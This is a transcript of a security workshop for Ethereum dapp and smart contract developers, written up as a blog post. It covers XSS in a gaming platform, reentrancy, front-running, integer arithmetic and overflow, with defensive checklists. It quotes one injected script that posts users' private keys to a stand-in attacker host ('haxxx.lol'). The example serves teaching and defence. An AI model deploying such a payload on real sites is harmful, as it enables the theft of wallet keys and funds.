This is a transcript of a workshop I led at ETHDenver with Jessica Marshall, William Dias, and C. Brown. You can see the video of it on their facebook page.
Smart contract and dapp programming is a new paradigm that requires us as developers to behave differently than before. The old facebook adage of move fast and break things does not work in this new paradigm. With the risks inherent to this type of development, we all need to learn to take a slow and methodical approach to building our applications, using care and consideration while designing and coding. We also cannot put ourselves under undue pressure to meet strict deadlines. It is kind of ironic that I was giving this talk at a hackathon!
If building most traditional webapps is similar to a minute clinic, then blockchain is more comparable to an Emergency Room. Some issues are small, but most of them are extremely hard to fix once you get past a certain point, if at all, and every possible negative outcome has to be accounted for. If not, you could be facing dire consequences. Before I get into specific lessons, I would like to reiterate some of the aspects of the technology that force us to be so careful.
All code is public
This poses an issue for a few different reasons. Firstly, since anyone can see your code, it should be obvious that there should be no sensitive personal information recorded in the smart contract. Sure, wanting to run user data analytics on chain is a noble cause, but that might not sound very good to your new user Johnny because his browser history was just exposed to the world!
Your smart contract and its associated storage should only be storing the information that is absolutely necessary for the contract to function correctly.
Second, and more importantly, all of your source code is visible to the public. That means every all-star hacker sitting in his basement has all the time and freedom in the world to comb through every single line looking for bugs. No hiding behind pre-compiled binaries this time.
Gas Limit
As I am sure most of you know, computation on the Ethereum blockchain is expensive and there is also a limit! This can pose a problem when you have logic in your contract that has the potential to be manipulated in a way that causes a lot of gas to be consumed. Loops are a common cause of this.
And lastly, but most importantly:
Immutability
All code executes exactly according to how it was programmed, and barring a DAO-level hard fork, actions taken on the blockchain are immutable
So no takesies backsies. THIS is how we ensure trustlessness. We program trust into our code so that we can trust it, not each other. In fact, I’m starting to trust smart contracts more that I trust some humans. Smart contracts won’t lie to you, smart contracts won’t cheat on you, and smart contracts won’t post angry tweets about North Korea at 2am on a Tuesday.
I, for one, welcome our eventual global blockchain overlords.
But before we get to that point, we gotta be the ones doing the building! Our smart contracts should be hacker-proof, script-proof, and even tech illiterate grandma-proof. If our tech-illiterate grandma accidentally posts her google search for hemorrhoid cream to Facebook, its not a huge deal, we can just delete it. But if she exposes her public key because of a poorly written smart contract, there is not much we can do. And her tech-savvy nephew Johnny can’t help her because he’s too busy trying to delete his browser history from the blockchain!
We gotta assume everyone is a tech-illiterate granny and be as thorough as possible making sure that functions are called correctly and operations are performed without error, because you never know, some guy messing around with your multi-sig wallet library with millions of dollars in Ether might just accidentally take ownership and suicide the whole thing.
I’m going to go through a few examples of vulnerabilities you should prepare against, and we’ll have some exercises to get everyone involved.
Lets get ready to diagnose some application and smart contract vulnerabilities.
Application Examples and Reccomendations
by William Dias
Time for our first patient. This one is named, “Application Security.” Let’s start with some background.
This is a Decentralized gaming platform:
- This is a browser-based application
- Game devs can openly publish their games (dapps running on the ethereum network)
- Players can sign up to the dapp and choose from a variety of games to play (and eventually spend their ETH in virtual goods).
- New wallets are created at signup (no need for Mist/Metamask in this case).
- Wallet keys are stored into player’s browser for authentication/micro-payments purposes.
As you can see, this seems like a great place for developers to publish and connect with players all through one platform.
Unfortunately, when one game, HODL QUEST, is published, users who download it immediately start losing ether from their wallets.
Where did the ether go? Let’s examine some of the aspects of the platform to find out.
- The problem was caused by a new game published a few hours ago (HODL QUEST)
- Wallet funds are gone seconds after opening the game for the first time
- During game registration the developer enters a name, smart contract address and URL for the dapp in a form inside the platform
- The platform embeds the game iframe into the dapp while displaying the game name at the top of the page.
You can start to see where this is going… After further inspection we found that the game developer for HODL QUEST injected an inline script into the game title during registration. So looking closely at the game html code, we found something like this:
<h1>HODL <script>$.post(‘https://haxxx.lol/’, localStore.getItem(‘privateKey’));</script> QUEST</h1>
The player’s browser ends up evaluating the javascript snippet inserted at the game title and sending the player’s private keys to attacker remote servers.
This is just one of many issues that could arise as we are building decentralized applications. Here is a checklist of things to keep in mind as you’re building these projects.
- Protect wallets and private keys: If user’s wallets are compromised, this is game over. Extreme care needs to be taken when handling this sensitive information.
- Protect user information: Users do not want their personal data being exposed to the world. Ensure that user data remains private.
- Evaluate wisely what needs to be stored in the blockchain or in your servers. Only include data that is absolutely necessary for you smart contracts to function within the contracts themselves.
- Use HTTPS: This is standard practice and should be obvious
- .gitignore sensitive files: Another way to protect yourself from accidentally revealing a vulnerability
- Do not insert access/API keys into your code.
- Ask for 2FA when performing critical/risky tasks inside the dapp: Actions taken on the blockchain are immutable so having an extra layer of security is very important.
Your application’s security is just as important as your smart contracts’ security and should always be on your mind.
Smart Contract Race Conditions
What is a Race Condition? A race condition is the behavior of an electronics, software, or other system where the output is dependent on the sequence or timing of other uncontrollable events. It becomes a bug when events do not happen in the order the programmer intended. This is the root of many vulnerabilities in Ethereum smart contracts.
There are a few different ways race conditions pop up in Ethereum smart contracts. In this post, we’ll focus on two common situations. Reentrancy and transaction order front-running.
Reentrancy
A computer program is called reentrant if it can be interrupted in the middle of its execution and then safely be called again (“re-entered”) before its previous invocations complete execution. This can show up in smart contracts when making external calls to other contracts because they can potentially call back into the original function before the original call finishes. How is this possible, you ask?
Enter fallback functions, which are functions that are invoked when Ether is sent to your contract without providing a function name to call.
In this example, when the withdraw function sends ether with the address.call.value() method, it triggers the BankRobber’s fallback function, which can then call the withdraw method again. As you can see, this will cause the Bank contract to send Ether over and over again potentially draining the Bank of all its ether!
How can we prevent this? There are a few different ways. The first relies on our understanding of the difference between send, transfer, and call.
As you can see from the chart above, there are many different ways to send Ether, but most of the time, you’ll want to use address.transfer. This is because transfer only forwards 2300 gas and reverts if the transaction uses up all the gas. This way, if a malicious contracts attempts to reenter your contract, the gas will be used up and the entire transaction will be reverted.
There are situations where using send or call would make sense, but you need to be extra careful when using these because it would only be in special situations when you feel very comfortable about what the contracts you are sending ether to are doing. 99% of the time, transfer is the correct path to take.
Another way to prevent against reentrancy is to update state before making external calls and perform checks in your contract to make sure that the state represents the transaction that is about to be performed.
Transaction Ordering Front-Running
Another situation where race conditions rear its ugly head is front running. This happens because of the public nature of the blockchain. If you’re running an auction or similar mechanism in your smart contracts, bids might be able to be manipulated because the bids exist in the unconfirmed transaction pool before they are executed. In this period of time, other malicious actors can monitor the pool and send transactions that undermine bids that have already been sent. Additionally, miners can reorder transactions in a block to give malicious transactions priority.
There are a few different ways to prevent manipulation like this. One is a batch auction and another is a commit and reveal scheme where bidders send hashes of their bids so they aren’t revealed until after they are confirmed.
Lets try to save another patient.
This a contract that does a king of the hill game where people can send ether to a contract to become the new king. When someone new becomes the king, the old king gets sent the contract’s ether. Can you find the vulnerability?
Reentrancy isn’t an issue, but there is something a little bit more “watch the world burn-y” in this vulnerability. In this example, a contract to become king and then in their fallback function, they could revert. This causes every future transaction that tries to make a new owner fail, essentially shutting down the contract. This is a great example from Ethernaut, which has exercises to explore smart contract security. You can see a more detailed description of the vulnerability here.
These examples show that when making external calls, you should never assume that the contract you are invoking is trusted. Always take care to prevent against every possible negative outcome that an attacker could attempt.
Additional Smart Contract Best Practices to be Aware of
Fallback Functions
Fallback functions are useful because they contain the code that is invoked when Ether is sent to your contract. But they can’t handle everything.
First of all, fallback functions only have access to 2,300 gas when triggered from a transfer function, so logic needs to be very simple in order to not run into an out of gas error.
There is a catch! fallback functions do not trigger when ether is forcibly sent to a contract.
The selfdestruct function sends the contract’s ether to the victim address. This send does not trigger the fallback function in the contract. Receiving free Ether is nice, but because of this, you need to avoid directly checking the balance of a contract and expecting it to be a certain value, because it might actually be greater than you thought!
Integer Arithmetic
Unlike most modern architectures, the EVM does not handle floating point numbers or arithmetic operations. All number storage and arithmetic is handled with integers. What does this mean? It means there is no point in your contract where you can store anything as a decimal or do operations that would normally return a decimal, like finding percentages and such. Lets look at an example.
Imagine you are creating a token sale smart contract that gives buyers a bonus purchase based on how much time has passed in the sale. It might look something like this.
As you can see, in a traditional language, this would be fine. The percentage of time passed would be calculated as a decimal between zero and one and then applied to the price.
Unfortunately, this doesn’t work with integer arithmetic. If a operation is done incorrectly, you could image some situations where an incorrect percentage would result in some serious issues.
In Solidity, you would have to do something like this:
This way, the percentage is calculated as an integer between 0 and 100, applied to the base price, and then divided by 100 to fix the “decimal place” to the correct point. This is a somewhat crude way to calculate the percentage because it sacrifices some precision, but is necessary based on how the EVM operates. You can get better precision by multiplying by larger multiples of 100, but that is a decision that depends on the context of the contract.
Integer Overflow/Underflow
According to Wikipedia, an integer overflow occurs when an arithmetic operation attempts to create a numeric value that is outside of the range that can be represented with a given number of bits — either larger than the maximum or lower than the minimum representable value. Most languages have ways to account for this issue, but Solidity cannot handle overflow checking on its own. This has caused issues in the past with a few smart contracts on the blockchain, but there are easy ways to get around the problem. Here is an example for addition using Solidity:
This checks for overflow on an addition operation by ensuring that the result didn’t wrap around the maximum value held by the variables. There are similar checks needed for subtraction, multiplication, and division.
Luckily there are libraries that do this for you! You can check out our Basic Math Library and use it to handle all of these cases in your smart contracts.
Patient #3
Can you find the bug in the contract?
This is from Doug Hoyte’s contribution to the Underhanded Solidity coding contest!
From the post detailing the results, this contract features a storage array whose length field can be decremented below 0. This causes an arithmetic underflow, effectively disabling Solidity’s array bounds checking. As a result, after the overflow writes to the array can be used to overwrite any storage element located after the array — including all mappings!
So what did we miss?
The thing is, we don’t really know for sure. There could be some tiny thing that we don’t account for, and that could be the issue that kills the patient, or in our case, costs our users millions of dollars in Ether.
The best we can do is follow all the existing application and smart contract best practices the entire time we are designing our application and writing the code, test extensively, and get our code audited by someone who knows what to look for.
There is something else that can be used to improve the functionality and security of your smart contracts!
LIBRARIES!!
And more specifically, Modular’s Ethereum-Libraries.
Before you sit down to write your code, realize that there are a bunch of other great developers in the community who have probably already done something similar to what you’re trying to do, and probably have tested, secure code that you can use for some common functionality in your own project.
With Solidity Libraries, you can import the library into your smart contract and use the functions just like they were in your contract! We have over 20 libraries deployed on the test networks and mainnet for a variety of uses, like basic math, arrays, linked lists, tokens, and even crowdsales. This is production-tested code that can be integrated into your project easily.
Check out our repository for instructions on how to get started!
Now you have some tools to stay safe while building smart contracts and distributed applications. All thats left is to build things while being safe along the way. And don’t forget, the technology is still in its infancy. We are learning new things about the EVM and Solidity every day, so always stay up to date on the best practices for Ethereum development and any updates to the ecosystem. There are some great resources you can use in your learning experience.
Consensys’ Smart Contract Best Practices Documents: These are great notes that explore the vulnerabilities discussed today as well and many others that are important.
Modular’s Ethereum Libraries Repository: Here you can find detailed instructions on how to integrate our libraries into your project.
So, we may not have been able to save little Johnny from a lifetime of browser history induced shame, but if we follow the guidelines outlined in this post, we might be able to save millions more from a similar fate.
At Modular we are working hard on solving many security and usability issues that are present in the ecosystem. We are building Blossom, a new desktop wallet that allows users to avoid complicated key and address management while still keeping complete control over their funds. This wallet will also have KYC integrated into it as well as token and crowdsale launching functionality. You can sign up for newsletters on our signup page to get more updates about the release in the near future.
Check out our website: https://modular.network/
Get started with our libraries: Ethereum Libraries
Follow us on Twitter: @Modular_Inc
Join our Discord chat: https://discord.gg/sMu6Des
Sign up for the Blossom newsletter: https://blossomsoftware.com/
Thanks to William Dias, Jessica Marshall, and C. Brown for help making this article and presentation. And thanks to Rhys Lindmark and the rest of the awesome ETHDenver team for organizing the hackathon and asking us to lead the workshop!